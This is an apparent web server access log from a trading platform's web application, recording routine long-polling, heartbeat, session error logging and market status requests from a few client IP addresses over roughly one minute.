[09/Jan/2026:15:46:15 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945045517 HTTP/1.1" -
[09/Jan/2026:15:46:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945046884 HTTP/1.1" -
[09/Jan/2026:15:46:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945061995 HTTP/1.1" -
[09/Jan/2026:15:46:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945047157 HTTP/1.1" -
[09/Jan/2026:15:46:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945047204 HTTP/1.1" -
[09/Jan/2026:15:46:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945050808 HTTP/1.1" -
[09/Jan/2026:15:46:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945067042 HTTP/1.1" -
[09/Jan/2026:15:46:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945052178 HTTP/1.1" -
[09/Jan/2026:15:46:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945052886 HTTP/1.1" -
[09/Jan/2026:15:46:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945052382 HTTP/1.1" -
[09/Jan/2026:15:46:25 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945055846 HTTP/1.1" -
[09/Jan/2026:15:46:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945072381 HTTP/1.1" -
[09/Jan/2026:15:46:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945057222 HTTP/1.1" -
[09/Jan/2026:15:46:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945057492 HTTP/1.1" -
[09/Jan/2026:15:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:28 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945058880 HTTP/1.1" -
[09/Jan/2026:15:46:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945060878 HTTP/1.1" -
[09/Jan/2026:15:46:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945077447 HTTP/1.1" -
[09/Jan/2026:15:46:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945062267 HTTP/1.1" -
[09/Jan/2026:15:46:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945062660 HTTP/1.1" -
[09/Jan/2026:15:46:34 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945064883 HTTP/1.1" -
[09/Jan/2026:15:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:36 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945065922 HTTP/1.1" -
[09/Jan/2026:15:46:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945082499 HTTP/1.1" -
[09/Jan/2026:15:46:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945067292 HTTP/1.1" -
[09/Jan/2026:15:46:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945067711 HTTP/1.1" -
[09/Jan/2026:15:46:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945070881 HTTP/1.1" -
[09/Jan/2026:15:46:41 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945070957 HTTP/1.1" -
[09/Jan/2026:15:46:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945087519 HTTP/1.1" -
[09/Jan/2026:15:46:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945072313 HTTP/1.1" -
[09/Jan/2026:15:46:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945072757 HTTP/1.1" -
[09/Jan/2026:15:46:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945075991 HTTP/1.1" -
[09/Jan/2026:15:46:46 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945076883 HTTP/1.1" -
[09/Jan/2026:15:46:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945092547 HTTP/1.1" -
[09/Jan/2026:15:46:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945077333 HTTP/1.1" -
[09/Jan/2026:15:46:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945077933 HTTP/1.1" -
[09/Jan/2026:15:46:51 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945081075 HTTP/1.1" -
[09/Jan/2026:15:46:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945097581 HTTP/1.1" -
[09/Jan/2026:15:46:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945082353 HTTP/1.1" -
[09/Jan/2026:15:46:52 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945082889 HTTP/1.1" -
[09/Jan/2026:15:46:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945083068 HTTP/1.1" -
[09/Jan/2026:15:46:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:56 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945086110 HTTP/1.1" -
[09/Jan/2026:15:46:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945102639 HTTP/1.1" -
[09/Jan/2026:15:46:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945087374 HTTP/1.1" -
[09/Jan/2026:15:46:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:46:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:46:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:46:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945088880 HTTP/1.1" -
[09/Jan/2026:15:46:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945088207 HTTP/1.1" -
[09/Jan/2026:15:47:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945091138 HTTP/1.1" -
[09/Jan/2026:15:47:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945107732 HTTP/1.1" -
[09/Jan/2026:15:47:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:02 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945092412 HTTP/1.1" -
[09/Jan/2026:15:47:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945093255 HTTP/1.1" -
[09/Jan/2026:15:47:04 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945094891 HTTP/1.1" -
[09/Jan/2026:15:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:05 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945096180 HTTP/1.1" -
[09/Jan/2026:15:47:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:47:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945112792 HTTP/1.1" -
[09/Jan/2026:15:47:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945097443 HTTP/1.1" -
[09/Jan/2026:15:47:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:47:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:47:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945098442 HTTP/1.1" -
[09/Jan/2026:15:47:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945100884 HTTP/1.1" -
[09/Jan/2026:15:47:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945101217 HTTP/1.1" -
[09/Jan/2026:15:47:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945117824 HTTP/1.1" -
[09/Jan/2026:15:47:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945102491 HTTP/1.1" -
